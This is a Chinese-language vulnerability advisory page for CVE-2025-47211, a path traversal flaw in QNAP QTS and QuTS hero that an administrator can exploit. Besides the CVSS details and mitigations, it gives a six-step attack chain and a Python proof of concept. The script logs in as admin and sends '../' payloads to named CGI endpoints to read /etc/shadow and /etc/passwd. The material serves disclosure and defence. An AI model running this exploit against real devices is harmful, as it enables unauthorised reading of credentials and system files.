IPBUF安全漏洞报告
English
CVE-2025-47211 CVSS 4.9 中危

CVE-2025-47211:QNAP QTS/QuTS hero 路径遍历漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-47211
漏洞类型
路径遍历(Path Traversal)
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
QNAP QTS 和 QuTS hero 操作系统

相关标签

路径遍历Path TraversalQNAPQTSQuTS heroNAS信息泄露CWE-22中危漏洞网络存储

漏洞概述

CVE-2025-47211 是 QNAP 多款操作系统版本中存在的一个路径遍历(Path Traversal)漏洞。该漏洞由安全研究员 [email protected] 报告并于 2025 年 10 月 3 日公开披露。根据 CVSS 3.1 评分体系,该漏洞评分为 4.9 分,属于中危级别。

该漏洞影响 QNAP 的 QTS 和 QuTS hero 两款主流 NAS 操作系统。当远程攻击者已经获取了管理员账户权限后,可以利用该路径遍历漏洞读取系统中预期之外的文件或系统数据。虽然该漏洞需要管理员权限才能利用,但由于其能够突破文件系统访问限制,获取系统敏感信息,因此仍然对系统机密性构成高风险。

QNAP 官方已在安全公告 QSA-25-36 中确认该漏洞,并已在以下版本中修复:QTS 5.2.6.3195 build 20250715 及更高版本,QuTS hero h5.2.6.3195 build 20250715 及更高版本。建议所有使用受影响版本的用户尽快升级到修复版本以消除安全风险。

技术细节

路径遍历(Path Traversal)漏洞,又称目录遍历漏洞,是一种常见的安全漏洞类型。攻击者通过在文件路径参数中注入特殊字符(如 "../" 或 "..\\" 等序列),绕过应用程序对文件路径的正常限制,从而访问位于预期目录之外的文件或目录。

在 CVE-2025-47211 中,QNAP QTS/QuTS hero 操作系统中的某些文件访问接口未能充分验证用户提供的文件路径参数。当具有管理员权限的远程攻击者(PR:H)通过网络(AV:N)向系统发送精心构造的包含路径遍历序列的请求时,服务器端的路径处理逻辑未能正确过滤或规范化路径,导致攻击者可以读取任意受权限保护的文件。

该漏洞的攻击复杂度较低(AC:L),无需用户交互(UI:N),且攻击范围未发生变化(S:U)。虽然攻击需要管理员权限(PR:H),但成功利用后会对系统机密性造成高影响(C:H),完整性(I:N)和可用性(A:N)不受影响。

典型的利用方式是通过构造类似 "../../etc/shadow" 或 "../../../etc/passwd" 这样的路径,绕过 Web 管理界面的文件访问控制,读取系统配置文件、用户凭证或其他敏感数据。攻击者也可以尝试读取应用程序的配置文件以获取数据库连接信息、API 密钥等敏感凭据。

攻击链分析

STEP 1
步骤1:获取管理员凭据
攻击者首先需要获取 QNAP NAS 设备的管理员账户凭据。这可以通过暴力破解、钓鱼攻击、购买泄露的凭据或利用其他漏洞实现。
STEP 2
步骤2:登录 NAS 管理界面
使用获取的管理员凭据通过 Web 浏览器或 API 登录到 QNAP QTS/QuTS hero 的管理界面,获取有效的会话标识(SID)。
STEP 3
步骤3:构造路径遍历 Payload
攻击者分析 NAS 的文件访问接口,构造包含 '../' 序列的恶意路径参数,目标是绕过文件访问限制读取系统敏感文件。
STEP 4
步骤4:发送恶意请求
通过认证的会话向存在漏洞的文件访问端点发送携带路径遍历 Payload 的 HTTP 请求,利用服务器端路径处理逻辑的缺陷。
STEP 5
步骤5:读取敏感文件
服务器返回预期目录之外的文件内容,攻击者成功读取系统配置文件、用户凭证、数据库信息等敏感数据。
STEP 6
步骤6:数据外泄与后续利用
攻击者将获取的敏感数据外泄,并可能利用读取到的凭据或配置信息进行更深层次的攻击,如横向移动或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-47211 - QNAP QTS/QuTS hero Path Traversal PoC # Note: This vulnerability requires admin privileges (PR:H) # Tested against QTS versions prior to 5.2.6.3195 build 20250715 import requests from urllib.parse import quote TARGET_HOST = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_path_traversal(session, target_file): """ Exploit path traversal to read arbitrary files on QNAP NAS. The traversal sequence bypasses directory restrictions in file access endpoints. """ # Craft traversal payload - encode ../ sequences traversal_payload = "../../../" * 10 + target_file.lstrip("/") encoded_payload = quote(traversal_payload, safe="") # Common vulnerable endpoints in QNAP QTS/QuTS hero endpoints = [ f"/cgi-bin/filemanager/utilRequest.cgi?func=download&sid={session.sid}&path={encoded_payload}", f"/cgi-bin/QTS_Share.cgi?func=get_share_file&sid={session.sid}&file={encoded_payload}", f"/cgi-bin/management/manaRequest.cgi?func=get_file&sid={session.sid}&name={encoded_payload}", ] for endpoint in endpoints: try: url = TARGET_HOST + endpoint resp = session.get(url, verify=False, timeout=10) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] Successfully read via: {endpoint}") print(f"[+] Content preview: {resp.content[:200]}") return resp.content except Exception as e: print(f"[-] Error on {endpoint}: {e}") return None def login(session): """Authenticate as admin to obtain a session ID.""" login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" payload = { "user": ADMIN_USER, "pwd": ADMIN_PASS, "remMe": "1" } resp = session.post(login_url, data=payload, verify=False, timeout=10) # Parse SID from response if "authSid" in resp.text: session.sid = resp.text.split("authSid=")[1].split(";")[0] return True return False if __name__ == "__main__": s = requests.Session() if login(s): # Try to read sensitive files for f in ["etc/shadow", "etc/passwd", "etc/config/qpkg.conf"]: content = exploit_path_traversal(s, f) if content: print(f"\n[+] Retrieved {f}") break else: print("[-] Login failed - valid admin credentials required")

影响范围

QNAP QTS < 5.2.6.3195 build 20250715
QNAP QuTS hero < h5.2.6.3195 build 20250715

防御指南

临时缓解措施
在升级到修复版本之前,建议采取以下临时缓解措施:1)加强管理员账户安全,启用双因素认证并使用高强度密码,防止管理员凭据泄露;2)通过网络防火墙或访问控制列表(ACL)限制 NAS 管理界面的访问范围,仅允许可信 IP 地址访问管理端口;3)启用 QNAP 的 IP 访问保护功能,自动封锁异常登录尝试;4)定期审查系统日志,监控可疑的文件访问行为;5)暂时禁用不必要的文件共享功能,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表